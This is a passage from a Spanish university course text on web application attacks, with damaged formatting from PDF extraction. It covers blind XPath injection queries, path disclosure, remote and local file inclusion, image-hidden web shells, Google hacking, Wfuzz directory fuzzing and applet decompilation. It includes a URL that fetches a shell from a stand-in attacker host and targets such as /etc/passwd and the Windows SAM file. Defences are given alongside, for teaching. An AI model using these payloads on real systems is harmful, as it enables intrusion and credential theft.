[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 8: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

